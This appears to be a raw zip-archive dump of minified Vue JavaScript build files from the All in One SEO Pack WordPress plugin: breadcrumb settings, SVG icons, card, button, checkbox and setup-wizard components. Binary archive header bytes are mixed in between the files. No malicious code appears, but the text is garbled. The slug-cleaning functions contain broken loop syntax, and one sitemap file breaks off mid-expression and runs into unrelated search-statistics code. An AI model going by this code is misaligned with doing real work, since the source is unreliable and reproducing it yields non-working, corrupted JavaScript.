trings.archiveFormatDescription),1)]),_:1},8,["name"]),s(m,{name:r.strings.searchResultFormat},{content:a(()=>[s(k,{modelValue:n.sanitizeString(o.optionsStore.options.breadcrumbs.searchResultFormat),"onUpdate:modelValue":t[8]||(t[8]=i=>o.optionsStore.options.breadcrumbs.searchResultFormat=n.sanitizeString(i)),"line-numbers":!1,single:"",checkUnfilteredHtml:"","tags-context":"breadcrumbs-format-search","minimum-line-numbers":3,showAllTagsLink:!1,"default-tags":["breadcrumb_search_string"],tagsDescription:""},null,8,["modelValue"]),b("div",De,u(r.strings.searchResultFormatDescription),1)]),_:1},8,["name"]),s(m,{name:r.strings.errorFormat404},{content:a(()=>[s(k,{modelValue:n.sanitizeString(o.optionsStore.options.breadcrumbs.errorFormat404),"onUpdate:modelValue":t[9]||(t[9]=i=>o.optionsStore.options.breadcrumbs.errorFormat404=n.sanitizeString(i)),"line-numbers":!1,allowTags:!1,disableEmoji:!1,single:"",checkUnfilteredHtml:"","minimum-line-numbers":3,showAllTagsLink:!1,tagsDescription:""},null,8,["modelValue"]),b("div",Ie,u(r.strings.errorFormat404Description),1)]),_:1},8,["name"]),s(m,{name:r.strings.currentItem},{content:a(()=>[b("div",Ae,[s(p,{modelValue:o.optionsStore.options.breadcrumbs.showCurrentItem,"onUpdate:modelValue":t[10]||(t[10]=i=>o.optionsStore.options.breadcrumbs.showCurrentItem=i),class:"current-item"},null,8,["modelValue"]),_(" "+u(r.strings.showCurrentItem),1)]),o.optionsStore.options.breadcrumbs.showCurrentItem?(c(),h("div",Fe,[s(p,{modelValue:o.optionsStore.options.breadcrumbs.linkCurrentItem,"onUpdate:modelValue":t[11]||(t[11]=i=>o.optionsStore.options.breadcrumbs.linkCurrentItem=i),class:"current-item"},null,8,["modelValue"]),_(" "+u(r.strings.linkCurrentItem),1)])):g("",!0)]),_:1},8,["name"])]),_:1},8,["header-text"])):g("",!0),o.licenseStore.isUnlicensed?(c(),f(V,{key:1})):g("",!0),o.optionsStore.options.breadcrumbs.enable&&!o.licenseStore.isUnlicensed?(c(),f(O,{key:2})):g("",!0)])}const bt=$(ye,[["render",Re]]);export{bt as default}; PKÉ—[À ¹‡ ‡ 9all-in-one-seo-pack/dist/Lite/assets/js/Build.CQX7DDZt.jsnu„[µü¤import{o as n,c as o,a as t}from"./vue.esm-bundler.DzelZkHk.js";import{_ as s}from"./_plugin-vue_export-helper.BN1snXvA.js";const c={},a={viewBox:"0 0 12 15",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-share"},C=t("path",{d:"M8.69333 10.7601C9.04 10.4468 9.49333 10.2468 10 10.2468C11.0733 10.2468 11.9467 11.1201 11.9467 12.1934C11.9467 13.2668 11.0733 14.1401 10 14.1401C8.92667 14.1401 8.05333 13.2668 8.05333 12.1934C8.05333 12.0468 8.07333 11.9001 8.10667 11.7601L3.36 8.98677C3 9.32011 2.52667 9.52677 2 9.52677C0.893333 9.52677 0 8.63344 0 7.52677C0 6.42011 0.893333 5.52677 2 5.52677C2.52667 5.52677 3 5.73344 3.36 6.06677L8.06 3.32677C8.02667 3.17344 8 3.02011 8 2.86011C8 1.75344 8.89333 0.860107 10 0.860107C11.1067 0.860107 12 1.75344 12 2.86011C12 3.96677 11.1067 4.86011 10 4.86011C9.47333 4.86011 9 4.65344 8.64 4.32011L3.94 7.06011C3.97333 7.21344 4 7.36677 4 7.52677C4 7.68677 3.97333 7.84011 3.94 7.99344L8.69333 10.7601ZM10.6667 2.86011C10.6667 2.49344 10.3667 2.19344 10 2.19344C9.63333 2.19344 9.33333 2.49344 9.33333 2.86011C9.33333 3.22677 9.63333 3.52677 10 3.52677C10.3667 3.52677 10.6667 3.22677 10.6667 2.86011ZM2 8.19344C1.63333 8.19344 1.33333 7.89344 1.33333 7.52677C1.33333 7.16011 1.63333 6.86011 2 6.86011C2.36667 6.86011 2.66667 7.16011 2.66667 7.52677C2.66667 7.89344 2.36667 8.19344 2 8.19344ZM9.33333 12.2068C9.33333 12.5734 9.63333 12.8734 10 12.8734C10.3667 12.8734 10.6667 12.5734 10.6667 12.2068C10.6667 11.8401 10.3667 11.5401 10 11.5401C9.63333 11.5401 9.33333 11.8401 9.33333 12.2068Z",fill:"currentColor"},null,-1),l=[C];function _(e,r){return n(),o("svg",a,l)}const m=s(c,[["render",_]]),i={},u={viewBox:"0 0 16 15",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-build"},p=t("path",{d:"M9.05061 6.10632L15.1039 12.1597C15.3706 12.4263 15.3706 12.8463 15.1039 13.0997L13.5706 14.633C13.3106 14.893 12.8906 14.893 12.6306 14.633L6.55728 8.55966C5.01061 9.13966 3.20395 8.81299 1.96395 7.57299C0.430614 6.04632 0.290614 3.65299 1.53061 1.95966L4.08395 4.51299L5.03061 3.57299L2.47061 1.00632C4.17061 -0.233678 6.55728 -0.093678 8.09061 1.43966C9.35061 2.70632 9.67061 4.54632 9.05061 6.10632ZM6.79739 6.91968L13.1041 13.2263L13.6907 12.633L7.39072 6.33301C7.69739 5.93968 7.89739 5.49968 7.97739 5.02634C8.14405 4.09968 7.87072 3.10634 7.15072 2.38634C6.51739 1.75968 5.68405 1.46634 4.85739 1.51301L6.91739 3.57301L4.09072 6.39968L2.03072 4.33968C1.98406 5.16634 2.27739 6.00634 2.91072 6.63301C3.60406 7.32634 4.55739 7.59968 5.46406 7.46634C5.93739 7.39968 6.39072 7.21968 6.79739 6.91968Z",fill:"currentColor"},null,-1),f=[p];function L(e,r){return n(),o("svg",u,f)}const g=s(i,[["render",L]]);export{g as S,m as a}; PKÉ—[Mõج ¬ 8all-in-one-seo-pack/dist/Lite/assets/js/Card.C6Yzm1Gr.jsnu„[µü¤import{e as y}from"./links.CKSg78-h.js";import{C as k}from"./Tooltip.DcUmvaHX.js";import{a as b,S as p}from"./Caret.Cuasz9Up.js";import{a as B}from"./index.DX4OhBfI.js";import{T}from"./Slide.BfXXFx9A.js";import{y as l,o,c as r,I as g,a as i,q as a,H as q,t as w,l as c,m as u,D as A,d as n}from"./vue.esm-bundler.DzelZkHk.js";import{_ as H}from"./_plugin-vue_export-helper.BN1snXvA.js";const N={setup(){return{settingsStore:y()}},emits:["close-card","toggle-card"],components:{CoreTooltip:k,SvgCaret:b,SvgCircleQuestionMark:B,SvgClose:p,TransitionSlide:T},props:{slug:{type:String,required:!0},headerText:String,toggles:{type:Boolean,default(){return!0}},hideHeader:Boolean,noSlide:Boolean,closes:Boolean,saveToggleStatus:{type:Boolean,default(){return!0}},disabled:Boolean,cardClass:{type:Object,default(){return{}}}},watch:{toggles(t){const s=this.slug;t&&!this.settingsStore.settings.toggledCards[s]&&this.settingsStore.toggleCard({slug:s,shouldSave:!0})}},methods:{toggleCard(){this.settingsStore.toggleCard({slug:this.slug,shouldSave:this.saveToggleStatus}),this.$emit("toggle-card")}}},V={class:"text"},D={class:"header-icon"},L={class:"header-extra"},M={key:1,class:"content"},j={key:0,class:"content"},z={key:1,class:"content"};function E(t,s,e,d,I,m){const f=l("svg-circle-question-mark"),C=l("core-tooltip"),S=l("svg-caret"),v=l("svg-close"),h=l("transition-slide");return o(),r("div",{class:g(["aioseo-card",{disabled:e.disabled,...e.cardClass}])},[e.hideHeader?n("",!0):(o(),r("div",{key:0,class:g(["header",[{toggles:e.toggles}]]),onClick:s[2]||(s[2]=(..._)=>m.toggleCard&&m.toggleCard(..._))},[i("div",V,[i("div",D,[a(t.$slots,"header-icon")]),i("div",{class:"header-title",onClick:s[0]||(s[0]=q(()=>{},["stop"]))},[a(t.$slots,"header",{},()=>[i("span",null,w(e.headerText),1)])]),t.$slots.tooltip?(o(),c(C,{key:0},{tooltip:u(()=>[a(t.$slots,"tooltip")]),default:u(()=>[A(f)]),_:3})):n("",!0),i("div",L,[a(t.$slots,"header-extra")])]),!e.closes&&e.toggles&&d.settingsStore.settings.toggledCards&&!e.noSlide&&!e.disabled?(o(),c(S,{key:0,class:g({rotated:!d.settingsStore.settings.toggledCards[e.slug]})},null,8,["class"])):n("",!0),e.closes?(o(),c(v,{key:1,onClick:s[1]||(s[1]=_=>t.$emit("close-card",!0))})):n("",!0)],2)),t.$slots.disabled&&e.disabled?(o(),r("div",M,[a(t.$slots,"disabled")])):n("",!0),(d.settingsStore.settings.toggledCards||e.noSlide)&&!e.disabled?(o(),c(h,{key:2,active:d.settingsStore.settings.toggledCards[e.slug]&&e.toggles||e.noSlide},{default:u(()=>[t.$slots["before-tabs"]?(o(),r("div",j,[a(t.$slots,"before-tabs")])):n("",!0),a(t.$slots,"tabs"),t.$slots.default?(o(),r("div",z,[a(t.$slots,"default")])):n("",!0)]),_:3},8,["active"])):n("",!0)],2)}const J=H(N,[["render",E]]);export{J as C}; PKÉ—[úiÿ9all-in-one-seo-pack/dist/Lite/assets/js/Caret.Cuasz9Up.jsnu„[µü¤import{o,c as s,I as _,a as c,y as L,l as C,m as v,q as u,d as h,x as p,D as w}from"./vue.esm-bundler.DzelZkHk.js";import{_ as l}from"./_plugin-vue_export-helper.BN1snXvA.js";const y={props:{dark:Boolean}},b=c("div",{class:"double-bounce1"},null,-1),$=c("div",{class:"double-bounce2"},null,-1),B=[b,$];function x(t,n,e,r,f,g){return o(),s("div",{class:_(["aioseo-loading-spinner",{dark:e.dark}])},B,2)}const k=l(y,[["render",x]]),S={name:"base-button",components:{CoreLoader:k},props:{color:String,tag:{type:String,default:"button",description:"Button html tag"},block:Boolean,loading:Boolean,wide:Boolean,disabled:Boolean,type:{type:String,default:"default",description:"Button type (blue|black|green|red|gray|wp-blue)"},nativeType:{type:String,default:"button",description:"Button native type (e.g button, input etc)"},size:{type:String,default:"",description:"Button size (small-table|small|medium|large)"},link:{type:Boolean,description:"Whether button is a link (no borders or background)"},to:{type:[Object,String],description:"The router link object or string"}}};function M(t,n,e,r,f,g){const a=L("core-loader");return o(),C(p(e.tag),{type:e.tag==="button"?e.nativeType:"",disabled:e.disabled||e.loading,to:e.tag==="router-link"?e.to:"",onMouseenter:n[0]||(n[0]=i=>t.$emit("mouseenter",i)),onMouseleave:n[1]||(n[1]=i=>t.$emit("mouseleave",i)),class:_(["aioseo-button",[{[e.type]:e.type},{[e.size]:e.size},{"btn-link":e.link},{disabled:e.disabled&&e.tag!=="button"},{color:e.color},{loading:e.loading}]])},{default:v(()=>[u(t.$slots,"loading",{},()=>[e.loading?(o(),C(a,{key:0,dark:e.type==="gray"},null,8,["dark"])):h("",!0)]),u(t.$slots,"default")]),_:3},40,["type","disabled","to","class"])}const ue=l(S,[["render",M]]),Z={},z={viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-close"},T=c("path",{d:"M11.8211 1.3415L10.6451 0.166504L5.98305 4.82484L1.32097 0.166504L0.14502 1.3415L4.80711 5.99984L0.14502 10.6582L1.32097 11.8332L5.98305 7.17484L10.6451 11.8332L11.8211 10.6582L7.159 5.99984L11.8211 1.3415Z",fill:"currentColor"},null,-1),V=[T];function A(t,n){return o(),s("svg",z,V)}const N=l(Z,[["render",A]]),j={emits:["close-alert"],components:{SvgClose:N},props:{type:{type:String,default(){return"blue"}},size:{type:String,default(){return"medium"}},showClose:Boolean}};function D(t,n,e,r,f,g){const a=L("svg-close");return o(),s("div",{class:_(["aioseo-alert",{[e.type]:e.type,[e.size]:e.size}])},[u(t.$slots,"default"),e.showClose?(o(),s("span",{key:0,onClick:n[0]||(n[0]=i=>t.$emit("close-alert")),class:"aioseo-alert-close"},[w(a)])):h("",!0)],2)}const _e=l(j,[["render",D]]),H={},P={viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-circle-check"},q=c("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M12 2C6.48 2 2 6.48 2 12C2 17.52 6.48 22 12 22C17.52 22 22 17.52 22 12C22 6.48 17.52 2 12 2ZM12 20C7.59 20 4 16.41 4 12C4 7.59 7.59 4 12 4C16.41 4 20 7.59 20 12C20 16.41 16.41 20 12 20ZM10 14.17L16.59 7.58L18 9L10 17L6 13L7.41 11.59L10 14.17Z",fill:"currentColor"},null,-1),E=[q];function I(t,n){return o(),s("svg",P,E)}const fe=l(H,[["render",I]]),O={},R={viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-circle-close"},U=c("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M12 2.00006C6.47 2.00006 2 6.47006 2 12.0001C2 17.5301 6.47 22.0001 12 22.0001C17.53 22.0001 22 17.5301 22 12.0001C22 6.47006 17.53 2.00006 12 2.00006ZM14.59 8.00006L12 10.5901L9.41 8.00006L8 9.41006L10.59 12.0001L8 14.5901L9.41 16.0001L12 13.4101L14.59 16.0001L16 14.5901L13.41 12.0001L16 9.41006L14.59 8.00006ZM4 12.0001C4 16.4101 7.59 20.0001 12 20.0001C16.41 20.0001 20 16.4101 20 12.0001C20 7.59006 16.41 4.00006 12 4.00006C7.59 4.00006 4 7.59006 4 12.0001Z",fill:"currentColor"},null,-1),W=[U];function F(t,n){return o(),s("svg",R,W)}const ge=l(O,[["render",F]]),G={},J={viewBox:"0 0 15 16",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-search"},K=c("path",{d:"M14.8828 14.6152L11.3379 11.0703C11.25 11.0117 11.1621 10.9531 11.0742 10.9531H10.6934C11.6016 9.89844 12.1875 8.49219 12.1875 6.96875C12.1875 3.62891 9.43359 0.875 6.09375 0.875C2.72461 0.875 0 3.62891 0 6.96875C0 10.3379 2.72461 13.0625 6.09375 13.0625C7.61719 13.0625 8.99414 12.5059 10.0781 11.5977V11.9785C10.0781 12.0664 10.1074 12.1543 10.166 12.2422L13.7109 15.7871C13.8574 15.9336 14.0918 15.9336 14.209 15.7871L14.8828 15.1133C15.0293 14.9961 15.0293 14.7617 14.8828 14.6152ZM6.09375 11.6562C3.48633 11.6562 1.40625 9.57617 1.40625 6.96875C1.40625 4.39062 3.48633 2.28125 6.09375 2.28125C8.67188 2.28125 10.7812 4.39062 10.7812 6.96875C10.7812 9.57617 8.67188 11.6562 6.09375 11.6562Z",fill:"currentColor"},null,-1),Q=[K];function X(t,n){return o(),s("svg",J,Q)}const Ce=l(G,[["render",X]]),Y={},ee={viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-pencil"},te=c("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M9.71515 0.919167L11.0802 2.28417C11.3077 2.51167 11.3077 2.87917 11.0802 3.10667L10.0126 4.17417L7.82515 1.98667L8.89265 0.919167C9.00348 0.808333 9.14932 0.75 9.30098 0.75C9.45265 0.75 9.59848 0.8025 9.71515 0.919167ZM0.749268 11.25V9.06252L7.20093 2.61086L9.38843 4.79836L2.93677 11.25H0.749268Z",fill:"currentColor"},null,-1),ne=[te];function oe(t,n){return o(),s("svg",ee,ne)}const me=l(Y,[["render",oe]]);let m,d;const Le=(t,n)=>((...e)=>{const r=()=>t(...e);clearTimeout(m),m=setTimeout(r,n)}).call(),he=function(t,n){d&&clearTimeout(d),d=setTimeout(t,n)},se={},le={viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-caret"},ce=c("path",{d:"M16.59 8.29492L12 12.8749L7.41 8.29492L6 9.70492L12 15.7049L18 9.70492L16.59 8.29492Z",fill:"currentColor"},null,-1),re=[ce];function ie(t,n){return o(),s("svg",le,re)}const ve=l(se,[["render",ie]]);export{ue as B,_e as C,N as S,ve as a,k as b,fe as c,he as d,ge as e,me as f,Ce as g,Le as h}; PKÉ—[(`{this.$refs["other-category"].$el.querySelector("input").focus()}))},getValue(t){return this.selected.includes(t)},isActive(t){return this.selected.findIndex(_=>_.value===t.value)!==-1},saveAndContinue(){this.loading=!0,this.setupWizardStore.saveWizard("category").then(()=>{this.$router.push(this.setupWizardStore.getNextLink)})}},mounted(){this.$nextTick(()=>{const t=this.categories.find(l=>l.value===this.setupWizardStore.category.category)||this.categories[0];this.selected.push(t),this.triggerFeaturesUpdate(t);const e=this.rootStore.aioseo.data.staticHomePage?this.rootStore.aioseo.data.staticHomePageTitle:this.optionsStore.options.searchAppearance.global.siteTitle;e&&this.setupWizardStore.category.siteTitle!==e&&(this.setupWizardStore.category.siteTitle=e);const _=this.rootStore.aioseo.data.staticHomePage?this.rootStore.aioseo.data.staticHomePageDescription:this.optionsStore.options.searchAppearance.global.metaDescription;_&&this.setupWizardStore.category.metaDescription!==_&&(this.setupWizardStore.category.metaDescription=_),this.loaded=!0})}},Se={class:"aioseo-wizard-category"},be={class:"header"},ze={class:"description"},xe={class:"categories"},ke={key:0,class:"site-info"},We={class:"site-title aioseo-settings-row no-border"},Me={class:"settings-name"},Ze={class:"name small-margin"},$e={class:"site-description aioseo-settings-row no-border no-margin small-padding"},Be={class:"settings-name"},Le={class:"name small-margin"},Te={class:"go-back"},Ae=s("div",{class:"spacer"},null,-1);function De(t,e,_,l,o,u){const w=a("wizard-header"),C=a("wizard-steps"),v=a("base-highlight-toggle"),S=a("grid-column"),b=a("grid-row"),z=a("base-input"),V=a("core-html-tags-editor"),H=a("router-link"),x=a("base-button"),k=a("wizard-body"),W=a("wizard-close-and-exit"),M=a("wizard-container");return n(),p("div",Se,[r(w),r(M,null,{default:c(()=>[r(k,null,{footer:c(()=>[s("div",Te,[r(H,{to:l.setupWizardStore.getPrevLink,class:"no-underline"},{default:c(()=>[h("â†")]),_:1},8,["to"]),h("   "),r(H,{to:l.setupWizardStore.getPrevLink},{default:c(()=>[h(d(o.strings.goBack),1)]),_:1},8,["to"])]),Ae,r(x,{type:"blue",loading:o.loading,onClick:u.saveAndContinue},{default:c(()=>[h(d(o.strings.saveAndContinue)+" →",1)]),_:1},8,["loading","onClick"])]),default:c(()=>[r(C),s("div",be,d(o.strings.category),1),s("div",ze,d(o.strings.selectCategory),1),s("div",xe,[r(b,null,{default:c(()=>[(n(!0),p(D,null,P(o.categories,(i,Z)=>(n(),g(S,{key:Z,md:"6"},{default:c(()=>[r(v,{type:"radio",size:"medium",active:u.isActive(i),name:"category",modelValue:u.getValue(i),"onUpdate:modelValue":$=>u.updateValue($,i)},{default:c(()=>[i.icon?(n(),g(y(i.icon),{key:0,class:"icon"})):f("",!0),h(" "+d(i.name),1)]),_:2},1032,["active","modelValue","onUpdate:modelValue"])]),_:2},1024))),128))]),_:1}),r(v,{class:"other-category",type:"radio",size:"medium",active:u.isActive(o.otherCategory),name:"category",modelValue:u.getValue(o.otherCategory),"onUpdate:modelValue":e[1]||(e[1]=i=>u.updateValue(i,o.otherCategory))},{default:c(()=>[o.otherCategory.icon?(n(),g(y(o.otherCategory.icon),{key:0,class:"icon"})):f("",!0),h(" "+d(o.otherCategory.name)+" ",1),o.selected.length?(n(),g(z,{key:1,disabled:o.selected[0].value!=="other",size:"medium",modelValue:l.setupWizardStore.category.categoryOther,"onUpdate:modelValue":e[0]||(e[0]=i=>l.setupWizardStore.category.categoryOther=i),placeholder:o.strings.enterYourAnswer,ref:"other-category"},null,8,["disabled","modelValue","placeholder"])):f("",!0)]),_:1},8,["active","modelValue"])]),o.loaded?(n(),p("div",ke,[s("div",We,[s("div",Me,[s("div",Ze,d(o.strings.siteTitle),1)]),r(V,{modelValue:l.setupWizardStore.category.siteTitle,"onUpdate:modelValue":e[2]||(e[2]=i=>l.setupWizardStore.category.siteTitle=i),"line-numbers":!1,single:"","tags-context":"homePage","default-tags":["site_title","separator_sa","tagline"]},null,8,["modelValue"])]),s("div",$e,[s("div",Be,[s("div",Le,d(o.strings.metaDescription),1)]),r(V,{modelValue:l.setupWizardStore.category.metaDescription,"onUpdate:modelValue":e[3]||(e[3]=i=>l.setupWizardStore.category.metaDescription=i),"line-numbers":!1,description:"","tags-context":"homePage","default-tags":["site_title","separator_sa","tagline"]},null,8,["modelValue"])])])):f("",!0)]),_:1}),r(W)]),_:1})])}const dt=m(Ce,[["render",De]]);export{dt as default}; PKÉ—[HƒPœœBall-in-one-seo-pack/dist/Lite/assets/js/check-_5Up9njX.dWy8Omiv.jsnu„[µü¤import{o as n,c as o,a as t}from"./vue.esm-bundler.DzelZkHk.js";const r={xmlns:"http://www.w3.org/2000/svg",width:"1em",height:"1em",fill:"none",viewBox:"0 0 24 24"},e=t("path",{stroke:"currentColor","stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"1.5",d:"m4.5 12.75 6 6 9-13.5"},null,-1),s=[e];function a(c,l){return n(),o("svg",r,[...s])}const i={render:a};export{i as default,a as render}; PKÉ—[(6™HH<all-in-one-seo-pack/dist/Lite/assets/js/Checkbox.CfGJSeWE.jsnu„[µü¤import{S as u}from"./Checkmark.Du5wcsnR.js";import{y as d,o as m,c as f,q as r,a as s,I as l,D as g,J as c,H as p}from"./vue.esm-bundler.DzelZkHk.js";import{_ as b}from"./_plugin-vue_export-helper.BN1snXvA.js";const _={components:{SvgCheckmark:u},props:{modelValue:Boolean,name:String,labelClass:{type:String,default(){return""}},inputClass:{type:String,default(){return""}},id:String,size:String,disabled:Boolean,round:Boolean,type:{type:String,default(){return"blue"}}},methods:{labelToggle(){this.$refs.input.click()}}},k={class:"form-checkbox-wrapper"},y={class:"form-checkbox"},h=["checked","name","id","disabled"];function x(o,n,e,C,S,t){const i=d("svg-checkmark");return m(),f("label",{class:l(["aioseo-checkbox",[e.labelClass,{[e.size]:e.size},{disabled:e.disabled},{round:e.round}]]),onKeydown:[n[1]||(n[1]=c((...a)=>t.labelToggle&&t.labelToggle(...a),["enter"])),n[2]||(n[2]=c((...a)=>t.labelToggle&&t.labelToggle(...a),["space"]))],onClick:p(()=>{},["stop"])},[r(o.$slots,"header"),s("span",k,[s("span",y,[s("input",{type:"checkbox",onInput:n[0]||(n[0]=a=>o.$emit("update:modelValue",a.target.checked)),checked:e.modelValue,name:e.name,id:e.id,class:l(e.inputClass),disabled:e.disabled,ref:"input"},null,42,h),s("span",{class:l(["fancy-checkbox",e.type])},[g(i)],2)])]),r(o.$slots,"default")],34)}const v=b(_,[["render",x]]);export{v as B}; PKÉ—[Ÿª:—  =all-in-one-seo-pack/dist/Lite/assets/js/Checkmark.Du5wcsnR.jsnu„[µü¤import{o as n,c as o,a as e}from"./vue.esm-bundler.DzelZkHk.js";import{_ as t}from"./_plugin-vue_export-helper.BN1snXvA.js";const r={},s={viewBox:"0 0 14 11",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-checkmark"},c=e("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M10.8542 1.37147C11.44 0.785682 12.3897 0.785682 12.9755 1.37147C13.5613 1.95726 13.5613 2.907 12.9755 3.49279L6.04448 10.4238C5.74864 10.7196 5.35996 10.8661 4.97222 10.8631C4.58548 10.8653 4.19805 10.7189 3.90298 10.4238L1.0243 7.5451C0.438514 6.95931 0.438514 6.00956 1.0243 5.42378C1.61009 4.83799 2.55983 4.83799 3.14562 5.42378L4.97374 7.2519L10.8542 1.37147Z",fill:"currentColor"},null,-1),a=[c];function l(u,i){return n(),o("svg",s,a)}const f=t(r,[["render",l]]);export{f as S}; PKÉ—[äü¸ˆ““>all-in-one-seo-pack/dist/Lite/assets/js/CheckSolid.C5-uPd5a.jsnu„[µü¤import{o as n,c as o,a as e}from"./vue.esm-bundler.DzelZkHk.js";import{_ as t}from"./_plugin-vue_export-helper.BN1snXvA.js";const r={},c={viewBox:"0 0 21 21",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-circle-check-solid"},s=e("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M1.75 10.5C1.75 5.67 5.67 1.75 10.5 1.75C15.33 1.75 19.25 5.67 19.25 10.5C19.25 15.33 15.33 19.25 10.5 19.25C5.67 19.25 1.75 15.33 1.75 10.5ZM8.75 12.3988L14.5163 6.63251L15.75 7.87501L8.75 14.875L5.25 11.375L6.48375 10.1413L8.75 12.3988Z",fill:"currentColor"},null,-1),l=[s];function a(i,u){return n(),o("svg",c,l)}const f=t(r,[["render",a]]);export{f as S}; PKÉ—[V*l<¡¡Iall-in-one-seo-pack/dist/Lite/assets/js/chevron-down-bC0s_0yH.DysZb_nq.jsnu„[µü¤import{o as n,c as o,a as t}from"./vue.esm-bundler.DzelZkHk.js";const r={xmlns:"http://www.w3.org/2000/svg",width:"1em",height:"1em",fill:"none",viewBox:"0 0 24 24"},e=t("path",{stroke:"currentColor","stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"1.5",d:"m19.5 8.25-7.5 7.5-7.5-7.5"},null,-1),s=[e];function a(c,l){return n(),o("svg",r,[...s])}const i={render:a};export{i as default,a as render}; PKÉ—[ÑÁ.~° ° @all-in-one-seo-pack/dist/Lite/assets/js/cleanForSlug.C_GG_Tvc.jsnu„[µü¤import{t as c,b as d}from"./toString.EVG10Qqs.js";import{b as i}from"./_baseTrim.BYZhh0MR.js";import{s as a,c as s}from"./_stringToArray.DnK4tKcY.js";function l(u,e,n,r){for(var x=u.length,t=n+(r?1:-1);r?t--:++t-1;);return n}function v(u,e){for(var n=-1,r=u.length;++n-1;);return n}function R(u,e,n){if(u=c(u),u&&(n||e===void 0))return i(u);if(!u||!(e=d(e)))return u;var r=a(u),x=a(e),t=v(r,x),f=y(r,x)+1;return s(r,t,f).join("")}function k(u){return u?R(S(u).replace(/[\s./]+/g,"-").replace(/[^\w-]+/g,"").replace(/-+/g,"-").toLowerCase(),"-"):""}export{l as a,o as b,k as c,S as d}; PKÉ—[ÚŠ]‘»»@all-in-one-seo-pack/dist/Lite/assets/js/CloseAndExit.D_-Wd9tr.jsnu„[µü¤import{a as S,u as k,g as y}from"./links.CKSg78-h.js";import"./default-i18n.BtxsUzQk.js";import{y as l,o as d,c,q as v,t,H as u,D as r,m as n,E as p,a}from"./vue.esm-bundler.DzelZkHk.js";import{_ as z}from"./_plugin-vue_export-helper.BN1snXvA.js";import{S as C}from"./Caret.Cuasz9Up.js";import{u as W}from"./Wizard.Cs56tV0n.js";import{C as b}from"./Index.6gbvf_mk.js";const w={setup(){const{strings:e}=W();return{optionsStore:S(),rootStore:k(),setupWizardStore:y(),strings:e}},components:{CoreModal:b,SvgClose:C},data(){return{loading:!1}},methods:{processOptIn(){this.setupWizardStore.smartRecommendations.usageTracking=!0,this.loading=!0,this.setupWizardStore.saveWizard("smartRecommendations").then(()=>{window.location.href=this.rootStore.aioseo.urls.aio.dashboard})}}},T={class:"aioseo-wizard-close-and-exit"},x=["href"],M={class:"aioseo-modal-body"},A=["innerHTML"],U={class:"actions"};function E(e,s,B,o,g,_){const f=l("svg-close"),m=l("base-button"),h=l("core-modal");return d(),c("div",T,[v(e.$slots,"links",{},()=>[e.$isPro||o.optionsStore.options.advanced.usageTracking?(d(),c("a",{key:0,href:o.rootStore.aioseo.urls.aio.dashboard},t(o.strings.closeAndExit),9,x)):(d(),c("a",{key:1,href:"#",onClick:s[0]||(s[0]=u(i=>o.setupWizardStore.showUsageTrackingModal=!0,["prevent"]))},t(o.strings.closeAndExit),1))]),r(h,{show:o.setupWizardStore.showUsageTrackingModal&&!e.$isPro,onClose:s[3]||(s[3]=i=>o.setupWizardStore.showUsageTrackingModal=!1),classes:["aioseo-close-and-exit-modal"]},{header:n(()=>[p(t(o.strings.buildABetterAioseo)+" ",1),a("button",{class:"close",onClick:s[2]||(s[2]=u(i=>o.setupWizardStore.showUsageTrackingModal=!1,["stop"]))},[r(f,{onClick:s[1]||(s[1]=i=>o.setupWizardStore.showUsageTrackingModal=!1)})])]),body:n(()=>[a("div",M,[a("div",{class:"reset-description",innerHTML:o.strings.getImprovedFeatures},null,8,A),a("div",U,[r(m,{tag:"a",href:o.rootStore.aioseo.urls.aio.dashboard,type:"gray",size:"medium"},{default:n(()=>[p(t(o.strings.noThanks),1)]),_:1},8,["href"]),r(m,{type:"blue",size:"medium",loading:g.loading,onClick:u(_.processOptIn,["stop"])},{default:n(()=>[p(t(o.strings.yesCountMeIn),1)]),_:1},8,["loading","onClick"])])])]),_:1},8,["show"])])}const V=z(w,[["render",E]]);export{V as W}; PKÉ—[y7j‰‰Aall-in-one-seo-pack/dist/Lite/assets/js/CommonSitemap.MfCKFeRY.jsnu„[µü¤const r=()=>({validateLinksPerIndex:n=>{1>n.target.value&&(n.target.value=1),5e4[u("div",G,[n(C,null,{default:o(()=>[n(p,null,{default:o(()=>{var k,$;return[n(r,{class:"description",type:"blue","show-close":""},{default:o(()=>[m(l(t.strings.alert),1)]),_:1}),u("div",N,[u("h2",null,l(t.strings.title),1)]),n(i,{posts:(($=(k=c.searchStatisticsStore.data)==null?void 0:k.contentRankings)==null?void 0:$.paginated)||t.defaultPages,columns:["postTitle","indexStatus","lastUpdated","loss","drop","performance"],"show-items-per-page":"","show-table-footer":""},null,8,["posts"])]}),_:1})]),_:1})])]),_:1})}const E=d(D,[["render",V]]),F={setup(){return{licenseStore:x()}},components:{Blur:E,Cta:L,RequiredPlans:q},data(){return{strings:{ctaButtonText:this.$t.__("Unlock Search Statistics",this.$td),ctaHeader:this.$t.sprintf(this.$t.__("Search Statistics is a %1$s Feature",this.$td),"PRO"),ctaDescription:this.$t.__("Connect your site to Google Search Console to receive insights on how content is being discovered. Identify areas for improvement and drive traffic to your website.",this.$td),thisFeatureRequires:this.$t.__("This feature requires one of the following plans:",this.$td),feature1:this.$t.__("Search traffic insights",this.$td),feature2:this.$t.__("Track page rankings",this.$td),feature3:this.$t.__("Track keyword rankings",this.$td),feature4:this.$t.__("Speed tests for individual pages/posts",this.$td)}}}},H={class:"aioseo-search-statistics-content-rankings"};function z(s,h,g,c,t,f){const r=e("blur"),i=e("required-plans"),p=e("cta");return 